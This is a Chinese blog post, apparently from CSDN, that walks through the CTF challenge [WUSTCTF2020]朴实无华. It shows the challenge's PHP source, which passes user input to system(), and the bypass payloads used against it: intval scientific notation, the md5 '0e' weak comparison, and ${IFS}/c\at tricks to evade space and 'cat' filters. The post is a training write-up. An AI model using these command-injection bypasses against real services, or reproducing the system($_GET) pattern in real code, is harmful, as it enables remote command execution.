当前位置:网站首页>[WUSTCTF2020]朴实无华
[WUSTCTF2020]朴实无华
2022-04-22 02:53:00 【pakho_C】
web第46题
[WUSTCTF2020]朴实无华
打开靶场:

其中有一个header的报错,搜了一下,一般来说在header函数前不能输出html内容,如果在header()执行之前有echo等语句,当后面遇到header()时,就会报出 “Warning: Cannot modify header information - headers already sent by …”错误。就是说在这些函数的前面不能有任何文字、空行、回车等,而且最好在header()函数后加上exit()函数
除了这个就没什么发现,直接目录扫描一下看有没有发现

发现有robots.txt文件,访问一下:

发现提示了一个文件,访问

发现不是flag
这里我又尝试抓了一下包

发现有提示,访问

源码:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
1.level1的绕过
if(intval($num) < 2020 && intval($num + 1) > 2021)
intval(‘1e10’),当参数为科学计数法的字符串的时候,会保留e前面的数字作为转换结果,测试一下:

尝试:?num='2e4',发现不成功,猜测可能后台会自动将传入的值转换为字符串
尝试:?num=2e4,成功绕过第一个if判断
2.level2的绕过
$ md5=$ _GET[‘md5’];
if ($ md5==md5($md5))
这里考虑php的 ==弱比较,如果本身的值以0e开头并且md5加密后的值也以0e开头就可以绕过此比较

找到这样的字符串,构造:?md5=0e215962017

成功绕过
3.绕过get_flag判断
if(!strstr($get_flag," ")){
$get_flag = str_ireplace(“cat”, “wctf2020”, $get_flag);
首先get_flag变量中不能有空格,然后将get_flag变量中的cat字符替换为wctf2020
绕过空格过滤的方法:
${
IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
绕过cat被过滤的方法:
1.加 \
2.使用tac
首先使用ls查看此目录下的文件:

显然是这个:
最终payload:
?num=2e4&md5=0e215962017&get_flag=c\at${
IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

版权声明
本文为[pakho_C]所创,转载请带上原文链接,感谢
https://blog.csdn.net/pakho_C/article/details/124260560
边栏推荐
- Install and deploy phpstudy + DVWA vulnerability drill platform
- 【Laravel系列4.7】连接redis以及缓存应用
- Basic commands and practice of DOS command line
- STM32 can communication experiment
- How to solve the deadlock problem in MySQL?
- UE4 lock camera screen
- Inductive bias
- How to provide CPU branch prediction efficiency at the code level
- Apple watch theme picture crawl!
- 网络和多媒体知识(3)
猜你喜欢
随机推荐
刷题计划——动态规划dynamic programming(一)
STM32 can communication experiment
【※ LeetCode 剑指 Offer 13. 机器人的运动范围(简单)】
Mongodb grouping query
国何以立
Type of water tunnel
身份认证和访问控制
72. Edit distance
Class array
DOS 命令行基本命令及实践
Translation of yolov3 papers
[※ leetcode sword finger offer 13. Motion range of robot (simple)]
好友没看到怎么加,先记下来。
Flutter04-Widget初体验
Super practical chrome plug-in
Rational view of the advantages and disadvantages of automated testing
(进阶用法) C语言字符串函数
kerberos认证协议
How to solve the deadlock problem in MySQL?
Word input formula shortcut key








